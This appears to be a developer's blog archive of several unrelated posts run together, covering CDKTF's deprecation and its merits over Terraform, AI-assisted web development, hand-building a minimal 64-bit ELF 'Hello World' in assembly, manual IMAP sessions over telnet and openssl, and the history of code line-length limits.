HashiCorp (and IBM, which owns HashiCorp) has suddenly decided to deprecate CDKTF, as can be seen on its official GitHub repository:

Great… not only did I just write an article about it, but I also use CDKTF everywhere.

It seems like HashiCorp aims to focus their efforts on making Terraform better than OpenTofu (a Terraform fork that emerged after a controversial license change from HashiCorp). Sadly, the OpenTofu maintainers currently don’t have the capacity to take over maintaining this project (see this comment on GitHub). But there is some hope, as the Open Construct Foundation has announced a “Community-Driven Continuation of CDKTF” which now lead to the new CDK Terrain project.

So there is still some hope for the future of CDKTF. Nevertheless, I want to convince you why it’s great — and why it’s better than Terraform on its own.

Tooling for developing cloud infrastructure is undergoing a major shift — away from static configuration files and toward real programming languages. Almost everyone running production workloads in the cloud is familiar with Terraform. Many have also heard of the AWS CDK, which allows you to programmatically deploy cloud infrastructure instead of using configuration files.

The Cloud Development Kit for Terraform (CDKTF) brings this idea into the Terraform ecosystem. It combines the robustness of Terraform with the flexibility of TypeScript, Python, and others. The result is reusability, real logic in code, and greater expressiveness in the IaC workflow.

So is CDKTF just a Terraform wrapper, or a real game changer? In this article, I want to explain why it has become my preferred Infrastructure-as-Code (IaC) tool — and why I choose it over both the AWS CDK and Terraform itself.

Terraform as the Foundation

Terraform has been the de facto standard for Infrastructure-as-Code for years — a configuration language and toolset that allows Cloud resources to be defined in plain text. It uses a declarative syntax to describe the desired state, ensuring consistency and traceability.

Thanks to its vast “provider” ecosystem — a provider being the bridge between Terraform and an external Cloud provider API such as AWS — almost any Cloud or on-premise resource (from AWS and Azure to Kubernetes) can be managed in a uniform way. Terraform really shines in multi-cloud scenarios: instead of using different tools for each platform, you get a shared model and language.

This is complemented by a massive ecosystem, modular reusability, and an active community that provides best practices, modules, and extensions. In short: Terraform has proven that infrastructure can be managed effectively, reproducibly, and under version control rather than manually.

To give a concrete example, a Terraform definition for an S3 bucket on AWS looks like this:

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
  }
}

provider "aws" {
  region = "eu-central-1"
}

resource "aws_s3_bucket" "demo" {
  bucket = "mein-bucket-12345"
}

The problem with Terraform: In larger projects, HCL (Terraform’s declarative configuration language) quickly becomes hard to manage. You end up with workarounds, duplicated code, and limited expressiveness. Very often, you wish you could simply write clean, layered abstractions with inheritance in a real programming language.

Complex logic, such as loops, dynamic dependencies, or conditional behavior, is particularly awkward to express. This is where CDKs come into play.

The Advantages of CDKTF

CDK stands for Cloud Development Kit and was originally developed by AWS as a programmatic alternative to CloudFormation. The idea is simple: AWS provides automatically generated bindings for CloudFormation structures in various programming languages (JavaScript, TypeScript, Python, Java, C#, Go). When this program is executed, no infrastructure is changed directly. Instead, a CloudFormation configuration is generated and deployed through the standard AWS provisioning pipeline.

CDKTF works in a very similar way. For many Terraform providers, there are ready-made — and sometimes even hand-maintained — CDKTF bindings. If needed, you can generate bindings yourself from virtually any Terraform provider by executing a command. The infrastructure code you write generates HCL JSON (or optionally standard HCL/.tf/Terraform), which is essentially Terraform code in the JSON format and can be used with standard Terraform tooling.

Here’s what the CDKTF TypeScript code for creating an S3 bucket looks like:

import { Construct } from "constructs";
import { App, TerraformStack } from "cdktf";
import { AwsProvider, s3 } from "@cdktf/provider-aws";

class MyStack extends TerraformStack {
  constructor(scope: Construct, id: string) {
    super(scope, id);

    new AwsProvider(this, "aws", {
      region: "eu-central-1",
    });

    new s3.S3Bucket(this, "demo", {
      bucket: "mein-bucket-12345",
    });
  }
}

const app = new App();
new MyStack(app, "demo-stack");
app.synth();

The primary advantage of CDKTF lies in two areas: the ability to define infrastructure using familiar programming languages such as TypeScript or Python, and the application of established software engineering principles to infrastructure development.

Terraform modules are useful, but they quickly reach their limits. Anyone who has tried to build a generic “standard S3 bucket” module knows the result: a messy construct of variables, outputs, conditionals, and nested count or for_each expressions. It’s neither elegant nor easy to maintain.

With CDKTF, you can instead implement an abstraction as a class with a constructor, members, and inheritance, or use a functional approach. And because it’s TypeScript, you get type safety and editor autocomplete.

Here’s an example of an S3 bucket abstraction (a Construct). It creates encrypted buckets with lifecycle rules. In Terraform, this would require a module with variables and outputs. Here, it’s just a class that can also be extended using programmatic inheritance:

import { Construct } from "constructs";
import { s3 } from "@cdktf/provider-aws";

interface StandardBucketProps {
  name: string;
}

export class StandardBucket extends Construct {
  constructor(scope: Construct, id: string, props: StandardBucketProps) {
    super(scope, id);

    new s3.S3Bucket(this, "bucket", {
      bucket: props.name,
      serverSideEncryptionConfiguration: {
        rule: {
          applyServerSideEncryptionByDefault: {
            sseAlgorithm: "AES256",
          },
        },
      },
      lifecycleRule: [
        {
          enabled: true,
          expiration: { days: 365 },
        },
      ],
    });
  }
}

CDKTF vs AWS CDK

The decisive advantage of CDKTF over the AWS CDK is that it is not limited to a single Cloud provider. While AWS CDK locks you into the AWS ecosystem, CDKTF keeps you fully inside the provider-agnostic Terraform world.

Every existing Terraform provider is also available for use with CDKTF — official, community-driven, or internally developed. Even if a provider isn’t directly supported, bindings can usually be generated with little effort. This enables true multi-cloud scenarios where resources from AWS, Azure, GCP, Kubernetes, and on-prem systems can coexist without code breaks or additional tools.

At the same time, the entire Terraform toolchain remains intact: terraform plan, CI/CD integrations (for example, via Spacelift), policy checks, drift detection, state management, and debugging all work exactly as before. This lowers the barrier to entry, since teams can keep their existing workflows while gradually migrating from modules to reusable CDKTF constructs.

In short: CDKTF brings programmability to the IaC world without sacrificing the stability and breadth of the Terraform ecosystem — a powerful combination.

Internal Mechanics and Limitations of CDKTF

It’s also interesting to see how CDKTF works internally. In CDKTF TypeScript, calling something like new s3.S3Bucket(...) creates an object in the so-called Construct Tree. This tree does not directly describe infrastructure, but rather the internal model of the CDKTF application — including all stacks, providers, resources, and custom abstractions.

Each node represents an object instantiated in code. Static values, like, "eu-central-1" are stored directly, while dynamic references create “tokens”, such as for bucket.arn. These tokens are placeholders that initially exist only in memory — in a debugger, you’ll see strings like TF_TOKEN[xyz].

Only during the synthesis step (cdktf synth) is the Construct Tree traversed, and tokens are resolved into Terraform-compatible expressions like ${aws_s3_bucket.demo.arn}. It’s important to remember that you’re never working with real values, even if the TypeScript type hints suggest otherwise. You’re always dealing with placeholders used to generate Terraform definitions.

Via the Fn namespace, Terraform built-ins like join, length, or element can also be used directly in code and will appear unchanged in the generated Terraform output.

CDKTF itself never changes infrastructure. It generates Terraform-compliant code, which Terraform then executes and manages as usual. Sometimes, however, automatically generated provider bindings don’t cover every feature.

In other cases, you may need a special configuration that isn’t exposed by the classes. That’s what escape hatches are for: they allow you to directly influence the generated code and set or override arbitrary fields — essentially a last resort to fall back to raw Terraform definitions (more on that here).

Locking, Drift, and Refactoring Pain

As powerful as CDKTF is, it has limits. You remain within the Terraform ecosystem, including all its quirks: state management, locking, drift, and the well-known pain of refactoring resource names. You also need to be careful when moving resources between constructs, since constructs implicitly influence Terraform resource IDs.

Breaking changes in provider bindings can also cause issues in your codebase. Another limitation lies in abstraction itself: even though you’re writing a real programming language, everything ultimately has to compile down to valid Terraform JSON.

Anyone expecting to write arbitrary code will quickly hit the hard boundary of Terraform semantics. Early on, it can be difficult to internalize that you’re writing code that generates Terraform — not code that directly manipulates infrastructure. CDKTF also doesn’t shield developers from having to understand Terraform itself. To debug issues, you still need to understand the generated Terraform code.

Experimental Features and Documentation Gaps

CDKTF is also not as mature as Terraform itself. Some features feel experimental, and the documentation has noticeable gaps. Often, you’ll find little more than auto-generated API references or scattered examples in GitHub issues and blog posts. Consistently maintained guides and best practices are still largely missing.

Anyone who wants to go deeper often has to read generated source code or type definitions. This raises the entry barrier and requires a high level of initiative — especially compared to classic Terraform, which benefits from years of community knowledge and documentation.

Pulumi as an Alternative

Another interesting player is Pulumi. Similar to CDKTF, infrastructure is written in TypeScript, Python, Go, or C# — but without the Terraform intermediary step. Thanks to the Terraform Bridge framework, all existing Terraform providers can still be used, giving Pulumi nearly the same reach as Terraform, but without its own syntax.

The key difference lies in architecture: CDKTF is a generator for Terraform definitions, while Pulumi has its own engine and talks directly to providers. This makes Pulumi leaner and more flexible, while CDKTF inherits all the strengths and weaknesses of Terraform unchanged. Pulumi can deliver new features faster, but ties you more closely to its own ecosystem.

Conclusion

In the end, CDKTF represents a meaningful step forward in the evolution of Infrastructure-as-Code. It combines the stability and maturity of Terraform with the expressiveness of modern programming languages and brings real software engineering practices into the infrastructure world.

Yes, you remain bound to Terraform’s limits and occasionally need escape hatches. But in practice, the benefits outweigh the drawbacks: better reusability, clearer abstractions, real testability, and a significantly improved developer experience.

For teams that no longer see infrastructure as a necessary evil, but as an integral part of their software, CDKTF is a game changer — and for me personally, the new standard for how modern infrastructure projects should be built.

Web development today is nothing like it used to be: With the rise of web apps, frameworks, and developer tools have matured massively. And now there are even specialized AI assistants for web development. That makes it easier than ever: these days, almost anyone – even without deep prior knowledge – can throw a website or app online in no time, though the quality might be questionable. With the right prompt and an AI assistant, you don’t even need to fully understand all the concepts – the AI writes along, explains, optimizes, and can even deploy it for you if you want.

Ten years ago, if you wanted to build something as simple as a to-do list web app, you’d write the backend in PHP with MySQL, do the layout in HTML, and style it with CSS. Maybe you’d use jQuery to add some interactivity. Even the languages themselves have changed drastically since then. To publish your finished app, you’d rent a server, install Apache, and upload everything with FileZilla.

CI? CD? – meaning continuous integration and automated deployment – barely anyone talked about that. The term DX, or Developer Experience (a term inspired by UX), wasn’t really a thing either. A few frameworks were ahead of their time, but mainstream web development? Rare.

Developer Experience is now more important than ever

Today it’s a whole different story: web apps have become hugely popular because they’re central to digital life and instantly available. Unlike traditional software, you can reach them from your phone with just a couple of taps – no downloads needed. That explains the massive commercial interest driving this space.

Instead of fiddling with vanilla HTML, CSS, and JavaScript, people now reach for frameworks like React, Vue, or Svelte. You don’t even need to write your own backend anymore – services like Firebase, Supabase, or other BaaS (Backend as a Service) providers let you get started immediately. And if you do need your own backend, you’ll probably write it in TypeScript with a full-stack framework like Next.js or Nuxt, and deploy it straight to Vercel or Railway – no server setup required.

The CI/CD process? Drag-and-drop it together and run it free on GitHub Actions, GitLab Pipelines, or Bitbucket Workflows. It all plugs right into modern dev workflows: push a branch, tests run automatically, linters check code quality, and after merging, it deploys instantly – often with preview environments for each pull request.

Developer Experience has become a defining quality factor. VS Code with smart IntelliSense, live reload, and hot module replacement increases the iteration speed. One can push with confidence thanks to testing tools like Storybook and Playwright. Errors show up immediately, feedback cycles are short, and onboarding new devs takes hours, not weeks.

Design and UX are tightly integrated, too. Figma files can be turned straight into code, Tailwind CSS or CSS-in-JS make styling predictable and reusable. What once took weeks now gets done over a weekend – or even in an afternoon with the right stack.

In short, web development today isn’t just easier – it’s faster, more scalable, more collaborative, and more accessible. The entry barrier has dropped, but the professionalism you can reach with minimal effort has exploded. What once needed a team with complex processes, a single dev can now do in an afternoon.

Enter the age of AI assistants

The next evolutionary step in web dev is not just easier – it’s partly automated. AI-powered tools like GitHub Copilot, ChatGPT, Codeium, or Cursor can now write large parts of the code. They don’t just suggest syntax; they understand (if you can call it that) context, architecture, design patterns, and sometimes even business logic.

Even if humans still implement the final solution, it makes sense to let AI assistants like CodeRabbitAI, Copilot, or CodeGuru review it.

Want to prototype a new app? Drop a prompt – 15 seconds later, you’ve got a working React setup with tests, styling, and documentation. Need an API? Generate the OpenAPI interface and ask the AI to generate the deployment commands for Vercel with it. Want a feature with auth, validation, and DB integration? With the right prompts and templates, you’re production-ready in minutes.

The to-do list as the “Hello World” of web dev

A concrete example: the modern to-do list app. Why? Because it’s the perfect example that touches many aspects of web development. It’s become the “Hello World” of the field – almost every language and framework has one.

ChatGPT suggests the tech stack. After a few prompts, I have a VS Code dev container running Node and Bun (a modern NPM alternative, written in Zig - btw, I have written about Zig previously if you are interested), with all dependencies and editor extensions preinstalled.

Next.js makes it easy to spin up a full-stack app. I run bunx create-next-app@latest, hit Enter a few times, and I’m set.

With v0 (Vercel’s AI – the same people behind Next.js), I generate the frontend:

The free version already produces a fully working result: styled with shadcn/ui, which builds on TailwindCSS and Radix UI and makes it super easy to build interactive frontends.

A couple more prompts later, I have a working backend using React Server Actions with a PostgreSQL database schema. v0 even offers to spin up a database for me, hosted on Neon (serverless Postgres with a generous free tier).

I import the v0 project into my local Next.js setup in VS Code. From here, I use Cursor, a VS Code fork with AI baked in, to support further development. Adding auth? Easy – just plug in Clerk or BetterAuth. Want to provide an API? Next.js App Router basically has you covered already.

Deployment is just: push to GitHub → connect repo to Vercel → assign a domain → optionally set up a GitHub Action for linting and tests. Done. A working prototype or project foundation in under 60 minutes – thanks to modern tooling + AI.

Of course, these tools are just an exemplary selection of mine. There are plenty of alternatives that can achieve the same. The key is: combining smooth modern DX with AI changes not only how we develop, but who can develop. The barrier hasn’t just dropped – in many cases, AI has erased it.

At the same time, these tools deliver a level of quality and speed that was unthinkable just a few years back. For large production systems, it’s still another story – scaling, observability, security, architecture, code quality – all of that matters, and AI still struggles there. But even in those areas, AI and modern tooling are changing how we solve problems, organize teams, and deliver innovation faster.

The future? Prompt-Driven Development

Prompt-Driven Development – building through targeted interaction with AI assistants – is shaping up to be the next core dev skill. Instead of writing every line manually, developers describe behavior in natural language and get structured code, components, or configs back.

The crucial skill is formulating clear, precise, contextual requirements. Those who master it will build faster, offload repetitive work, and crank out complex prototypes solo in record time – things that used to take entire teams.

But architecture thinking, responsibility, and systems knowledge remain essential. AI can suggest code, make architectural choices, and sketch out complex systems – but only if it’s given enough context. Without that, it operates probabilistically, remixing common solutions from training data and making assumptions that might not fit.

AI is not a magic bullet

The quality of AI output will never be exceptional – LLMs don’t invent original solutions, they remix averages from their training data. The result is functional but not innovative, not optimized, not consciously designed – just a recombination of millions of examples.

Those who give precise prompts and control what’s generated will gain a lot – for prototyping, repetitive building blocks, or initializing project parts. The efficiency boost doesn’t come automatically from AI, but from knowing how to use it: setting goals, judging drafts, validating choices.

AI isn’t a replacement for technical thinking – it’s a multiplier. If you know what you want, you’ll get it faster. If you don’t, you’ll just automate chaos.

AI won’t replace developers. If anything, it tempts devs to switch off their brains and just accept its output. That’s dangerous: misuse it or use it carelessly, and you’ll introduce bugs or overwrite code you didn’t mean to.

A 2024 Atlassian survey on Developer Experience found two-thirds of devs haven’t seen major productivity gains from AI tools yet. Still, 61% are optimistic that this will improve in the next two years.

From automation to augmentation – the new developer role

The whole mindset around DX and great tooling has only really emerged in recent years, but the pace has been incredible. And it’s still evolving fast. We’re standing at the edge of a new phase in software dev.

Past tools automated repetitive tasks. Today’s AI systems assist with thinking, decision-making, and even design. It’s no longer just about efficiency – it’s about augmentation: extending our capabilities with smart assistants.

The developer role is changing noticeably: instead of writing every line of code, we structure ideas and workflows that AI quickly turns into prototypes. We define requirements, prioritize, validate, and iterate. The focus shifts from syntax and implementation detail toward architecture, system design, and product logic.

The premise: this change will lead to far more efficient development. Whether it actually delivers – we’ll see.

As a first step, I want to see what the lowest general limit for a ‘Hello World’ program is. To have the most control and be sure that there is no overhead from a compiler, I will develop it in assembly. With that baseline, I can then compare the resulting binary with one written in Rust (or even Zig and C) in future.

Let’s first establish some rules for our ‘Hello World’ program:

• The program has to be executable on any modern 64-bit x86 Linux machine

• It should be able to execute directly without passing to any other programs first (so no decompression)

• It should be a ‘proper‘ executable binary according to the spec

• It should print ‘Hello World‘ to the standard output and exit with code 0 (success)

• Performance does not matter, but it should show the text fast

Now, to write the x86 assembly: A normal ‘Hello World‘ program is actually not as trivial as it sounds, since we need to interact with our operating system to print to the terminal. We can craft the syscall ourselves, but typically developers would use libc to call the printf function. However, since we are on our quest for a minimal binary, this won’t be an option since printf does actually quite more than just print to the stdout and we would have to link to libc which comes with a lot of overhead!

This is the most trivial assembly I was able to come up with (without optimizing further, we will do this later):

msg: db 'Hello, World!', 0xA

global _start
_start:
    mov rax, 1         ; syscall: sys_write
    mov rdi, 1         ; file descriptor: stdout
    lea rsi, [rel msg] ; pointer to message
    mov rdx, 14        ; message length
    syscall

    mov rax, 60        ; syscall: sys_exit
    mov rdi, 0         ; exit code 0
    syscall

To give a short explanation: First, we write the bytes of the null-terminated ‘Hello World‘-string statically into the assembly. We expose our application’s entry point to the ELF interface (which we will learn about later) by defining the label _start as global.

To actually print something, we want to call the sys_write syscall. In the Linux source code, it is defined here as:

SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count)
{
    return ksys_write(fd, buf, count);
}

So it is defined by some C macro and just calls another helper function. The signature will expand to something like:

long sys_write(unsigned int fd, const char __user *buf, size_t count);

The first argument identifies the file descriptor (stdout in our case, which is 1). The second one is a pointer to the data; finally, we have the length of the data.

We still need the final syscall to exit cleanly with code 0; then we are done. I avoid using the .data section as this will introduce additional section headers, metadata and alignment bytes.

To assemble this, I use the NASM assembler and link with ld:

$ nasm -f elf64 -o hello.o hello.asm # assemble the source file with NASM
$ ld -o hello hello.o                # link the object file with LD
$ chmod +x hello                     # mark as executable

Now let’s see if it works and print the size:

$ ./hello
Hello World!
$ wc -c hello # linux utility to count bytes (-c)
4728 hello

So 4728 bytes. Not bad ey?

But why do we need so many bytes for something so simple in the first place? Remember the two commands we used to build the executable? Let’s print the size after every step:

$ wc -c hello.o # the object file (assembler output)
640 hello.o
$ wc -c hello   # the final executable (linker output)
4728 hello

Why does our binary get more than 7 times bigger during the linking process with ld? And why do we need to link anyway?!

In short: The GNU linker (ld) takes one or more object files (e.g., hello.o) produced by assemblers and combines them into an executable binary or a shared library (.so). It resolves symbols (like the _start label) and hardcodes their final memory addresses inside the binary. It will also move some addresses around and add zero bytes to optimize the memory layout. If we were to use shared libraries it would also set those up for us. Additionally, debug symbols are generated to make debugging possible. Finally, it generates the application entry point so the system can directly execute it. Since this process involves understanding the assembly and moving around many things, optimizing the input object file (removing padding/alignment bytes or symbols) won’t decrease the file size of the final executable but might even break the linking process - believe me, I tried.

Instead, we can try to remove some of that information from the binary. For example, symbols will help us debug the application - but we don’t need that since our code always works perfectly first try. Let’s have a look at them:

$ nm hello
0000000000402000 T __bss_start
0000000000402000 T _edata
0000000000402000 T _end
0000000000401000 t msg
000000000040100e T _start

Some of those strings might sound familiar from our assembly code, others are built-ins. Using strip we can get rid of them:

$ wc -c hello # the final executable (linker output)
4728 hello
$ strip --strip-all hello
$ wc -c hello
4352 hello
$ ./hello
Hello World!

Down to 4352 bytes! So we removed a bunch of stuff and the executable still works just fine.

This is not bad at all, but to go further we have to understand every single byte of the binary. The format of binaries on Linux is called ELF. But who is this magic elf 🧝? It stands for “Executable and Linkable Format“ and describes the format of an assembled binary. You can read through the spec here but I will summarize quickly. The spec contains this nice figure which describes the layout of our binary before (the hello.o file) and after linking:

So while the small binary before linking also adheres to the ELF format most of the information is only added to the executable. We will have a more detailed look at the header later. The program header describes which memory sections to load at runtime. The section header describes static data (.text, .data sections). The segments define what needs to be loaded into memory for execution. This figure from Wikipedia visualizes the execution view quite well, but you might have to zoom in.

We can assemble our executable without the ELF format as a so-called ‘flat binary‘ and get only the bytes for our hello-world code (we also have to remove the global instruction):

$ nasm -f bin -o hello.o hello.asm
$ wc -c hello.o
47 hello.o
$ ld -o hello hello.o               
ld:hello.o: file format not recognized; treating as linker script
ld:hello.o:1: syntax error

So the raw assembled binary is now 47 bytes. However, we cannot link and execute it inside of our operating system anymore. This is because we don’t have the ELF header anymore! This is useful if we would want to build our own BIOS or system kernel.

It is also useful for us because now we can measure exactly how each instruction influences the binary output size without having to worry that the size might be distorted because of alignment or padding introduced by the linker. So now it’s time to optimize our hello world program!

I got some tips on hackernews: At some places we can use the 32-bit instructions (like mov edi, eax) which will remove one byte (the REX prefix byte); Additionally, by using the stack-based operations push and pop, which have a small opcode and encode the value as 8-bit numbers instead of using 32 bit we can rewrite the main program like this:

msg: db 'Hello, World!', 0xA

_start:
    ; syscall: sys_write (1)
    push 1             ; syscall number
    pop rax
    mov edi, eax       ; file descriptor: stdout
    lea esi, [rel msg] ; pointer to message
    push 14            ; message length
    pop rdx
    syscall            ; invoke syscall

    ; syscall: sys_exit (60)
    mov eax, 60        ; syscall number
    xor edi, edi       ; exit code 0
    syscall            ; invoke syscall

And with that, we got it down to 39 bytes (we had 47 bytes before)!

Back to the problem that we still cannot execute that binary: Since we don’t rely on any of the other features of the linker or ELF format in this case, we can just create the ELF header ourselves. Using assembly we can write the required bytes directly into the code:

And now assembling and executing it:

$ nasm -f bin -o elf elf.asm; chmod +x elf
$ ./elf
Hello World!
$ wc -c elf
159 elf

Finally, we are now down to 159 bytes!

Now I want to highlight, that if we were to build our program for a 32-bit architecture, we could get this number down even further since instructions are encoded using fewer bytes, pointers only use 4 bytes and the binary is 4-byte aligned (instead of 8 bytes). I tried it and it got the binary size down to 121 bytes which is much smaller! But remember the rules? We restricted ourselves to a modern 64-bit architecture!

You can find the code for both 64-bit and 32-bit versions here.

Now, there are some ways we could build an executable with even fewer bytes, but I consider them violating our “according to spec“ requirement. For example, not all ELF header bytes are actually used (or the system just might not care), so we could start our program earlier by reusing some of the ELF header bytes as Brain Raiter demonstrated here. With that technique, we would get it probably below 100 bytes.

What a journey! If you want to go really deep on executables, I can recommend the blog series “Making our own executable packer“ by fasterthanlime. Have a great one!

One of the major components that power our modern email systems is the IMAP4 protocol. It is used to connect your email client to your mailserver. It’s the language used by the client to ask the server for the newest unread emails and the server responds with its contents. POP3 is (or was) also very popular and still widely supported but not used so much because it comes with a few drawbacks (a topic for another day). You probably have heard about SMTP as well, and this is the protocol that is used to send emails.

But those protocols alone don’t allow us to send emails. Emails heavily rely on other technologies like Domains, DNS, IPv4, SPF, DKIM, DMARC, SSL/TLS, S/MIME, PGP, NTP. In general, Emails are not too different from websites as they share a lot of the same technology (and nowadays you can even send HTML emails).

However, in this blog post, I want to focus on IMAP, which stands for Internet Message Access Protocol. IMAP4 was released in 1994 as RFC 1730. The most recent version is IMAP4rev2 (released in 2021), as defined in RFC 9051 but most mail servers (as far as I can tell) still use IMAP4rev1 as defined in RFC 3501. It can be used to retrieve, manage, and manipulate email messages stored on a remote mail server, allowing users to perform actions such as searching, flagging, deleting, and organizing messages into folders while maintaining synchronization across multiple clients. Similarly, HTTP is a text-based protocol that relies on human-readable text commands and responses for communication between clients and servers.

So now, enough introduction - let’s get right into business. How do we connect to a mailserver?

Like with HTML, we can use the telnet utility to build up a simple TCP connection to a mailserver:

After connecting we are greeted with OK followed by a list of ‘capabilities‘, which is a list of features supported by the mailserver in the current state. It also shows us which IMAP version is supported. Sometimes (but not in the screenshot above) the server will also tell you what kind of software it is running. Most of the time you will see “Docevot“ being mentioned. Dovecot is a secure open-source IMAP & POP3 server running on Linux.

If we are fast enough and are not getting kicked out of the session because we idled too long, we can try to log in to authenticate ourselves.

In order to do that, we have to understand how the IMAP commands are structured.

<tag> <command> [arguments]

The tag prefix is supposed to be a unique tag within the session used to match the request and response. It can be anything but has to start with a letter and cannot contain spaces. While it’s supposed to be unique and typically look like A001, I’m lazy so I’ll always use just a. The server will then respond with:

<tag> <status> <response>

There are multiple ways to authenticate. The LOGIN command is the most straightforward one but is also considered insecure because it transmits the credentials in plaintext (especially when using unencrypted connections). I will use it anyway 🙃. There is also the AUTHENTICATE command, which uses SASL (Simple Authentication and Security Layer). The most basic way to authenticate using SASL involves encoding the credentials in base64 but can go as far as sending hashes or using token-based authentication.

Now if I try to log in, the following happens:

a login michael@myemail.com MySecretPassword
a BAD [CLIENTBUG] Login is disabled

On most other servers, this will actually just work. But on this specific server, unencrypted connections like this are disabled.

So instead, let’s use OpenSSL to build up a secure connection and log in. Notice that we now have to use the 993 port instead of 143:

❯ openssl s_client -connect imap.myemail.com:993 -crlf -quiet
Connecting to 123.123.123.123
depth=2 C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert Global Root G2
verify return:1
depth=1 C=US, O=DigiCert Inc, OU=www.digicert.com, CN=RapidSSL TLS RSA CA G1
verify return:1
depth=0 CN=imap.myemail.com
verify return:1
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN AUTH=LOGIN AUTH=DIGEST-MD5 AUTH=CRAM-MD5] Dovecot ready.
a login michael@myemail.com MySecretPassword
a OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY PREVIEW STATUS=SIZE SAVEDATE LITERAL+ NOTIFY SPECIAL-USE QUOTA] Logged in

Finally, we get an ‘OK‘ and a new list of the now unlocked capabilities (not every server sends us the new capabilities automatically; sometimes you have to issue the CAPABILITY command manually). This should also increase the time we have until we get thrown out of the session for inactivity.

We can now list all our folders:

a LIST "" "*"
* LIST (\HasNoChildren \UnMarked) "/" CustomFolder
* LIST (\HasNoChildren \UnMarked \Archive) "/" Archives
* LIST (\HasChildren \Marked \Trash) "/" Trash
* LIST (\HasNoChildren \UnMarked) "/" Trash/OldStuff
* LIST (\HasNoChildren \UnMarked \Drafts) "/" Drafts
* LIST (\HasNoChildren \UnMarked \Sent) "/" Sent
* LIST (\HasNoChildren \UnMarked \Junk) "/" Spam
* LIST (\HasNoChildren) "/" INBOX
a OK List completed (0.018 + 0.000 + 0.017 secs).

Even though the main inbox folder is named INBOX by convention, this helps us to identify the structure of our mailbox and where to look for new mail! We can also see folders marked with flags like \Sent which IMAP uses for special functionality. Next, we need to select one of those folders:

a SELECT INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft NonJunk $Forwarded Junk)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft NonJunk $Forwarded Junk \*)] Flags permitted.
* 4183 EXISTS
* 0 RECENT
* OK [UIDVALIDITY <secret>] UIDs valid
* OK [UIDNEXT <secret>] Predicted next UID
* OK [HIGHESTMODSEQ <secret>] Highest
a OK [READ-WRITE] Select completed (0.007 + 0.000 + 0.006 secs).

And this tells us that I have 4183 emails in the inbox!

Now that we have selected a folder, we can search in it! If our capabilities contain SEARCH=FUZZY we can add the FUZZY keyword to enable a fuzzy search (otherwise just leave it out):

a SEARCH FUZZY SUBJECT "buy"
* SEARCH 1082 1236 1830 3141 3263 4149 7401 10113 10118 10240 18106 18107 18113 18139 18140 18142 18270 18966 19226 20675 20684 20695 20709 26406
a OK SEARCH completed (12.310 s)

Amongst others, you can use BODY to search in the body, SUBJECT to search in the subject or TEXT to search in both. I can then use the FETCH command to display one of those IDs (or any others):

a FETCH 26046 (BODY[])
* 26046 FETCH (BODY[] {130059}
X-Envelope-From: <****@email.epicgames.com>
X-Envelope-To: <michael@myemail.com>
X-Delivery-Time: 1725393397
X-UID: <secret>
Return-Path: ....

It starts with the headers and will eventually show the contents further down. This format is called MIME (Multipurpose Internet Mail Extensions) as defined in RFC 2045-2049.

Now we can search and read emails via the command line without the help of any email client. Of course, we can do a lot more with IMAP but this will get you started. Remember for sending emails we need to use SMTP instead - I might cover this in future as well!

Turns out I’m not the first one who wondered about this (duh) - but I wasn’t expecting this rabbit hole of heated internet discussions about such an arguably unimportant topic. Quite annoying, that there was no definitive answer - However, there are several reasons why it might make sense in certain cases. Let’s dive in!

Line Limits Today

From now on I will use the term CPL to refer to "characters per line", since we are going to use this term a lot!

Let's first look at some popular open-source projects & coding standards:

It's a mess. And, these are just a couple of examples. I saw repositories using no limits, 70, 72, 79, 80, 88, 90, 95, 100, 120, 125, 130, 132 CPL and then some of these are hard limits; some are soft limits; some only apply to code and others to documentation. So clearly everybody has a different opinion on these!

These limits seem to be quite important to people, as they sparked various discussions (just a couple of examples).

Guys, we're not in the 1970's anymore.

... is often the reasoning behind arguing against line limits. So where do they actually come from?

The Origins of Line Limits

It probably all started with typewriters (and teleprinters). They typically had a character limitation of around 70 to 90 CPL due to the letter paper size and the mechanical designs of the typewriter carriage [Source]. But there wasn't really a standardized format.

The 80 CPL convention dates back to the era of punch cards (the early 20th century until the late 1970s), particularly with IBM punch cards used in early computing, which could hold up to 12 rows and 80 columns.

This card was used to load software into a mainframe computer. Each byte (the letter 'A', for example) is entered by punching out a column of holes. Contents appear to be a line from a Fortran program - [Source]

This carried over to the earliest computer terminals such as DECs VT52 and VT100, which displayed 80 CPL across 24 lines [Source]. To this date, many terminal emulators use 80x24 characters as the default resolution.

Do We Still Need Line Limits?

So the whole line limit thing (especially the 80-character limit) started with punch cards. Most other limits are relaxations based on this limit. Why did we relax them? Well, displays got better; we now render terminals/code inside smaller windows and our programming languages got more verbose.

But do we need them at all?

Well, I can see why they kept the punch card CPL limits for the first terminals at least. Since code is left-aligned and most characters are placed on the left portion of the screen, limiting the count of characters per line forces developers to split long lines of text into multiple lines which means no need for horizontal scrolling.

However, nowadays, we don’t have small fixed-size fullscreen terminals anymore. Hell, even if you use your code editor area fullscreen (who does that?!) there are so many different display sizes and resolutions. But I rarely see developers who have their text editor stretch across the whole screen. We use different windows with basically unlimited different window sizes - and if not, your IDE probably has a sidebar or other UI elements, leading to non-standard text-content-view sizes (meaning the area which actually displays text).

Even if you assume that every developer has a similarly sized text editor, we might still use different font sizes (or typefaces).

In discussions, I often heard the reasoning, that those line limits definitely won’t fit all but they are good enough approximations of the average window size - and that bit of empty space does not bother them.

Well, to me it does! Why do we have big monitors and the possibility of adjusting windows to maximize screen real estate, when we cannot use them? I often have multiple files and software (browser, debugger, docs) open in parallel.

I would be totally sold if there was an automated way to adjust those line limits depending on my window size to prevent cut-off text or unused empty space! If there only was a feature like this (foreshadowing).

But having those line limits built-in to the codebase means there is no (trivial) way of doing it automatically since the text is already (vertically) shortened and would have to be reconstructed first.

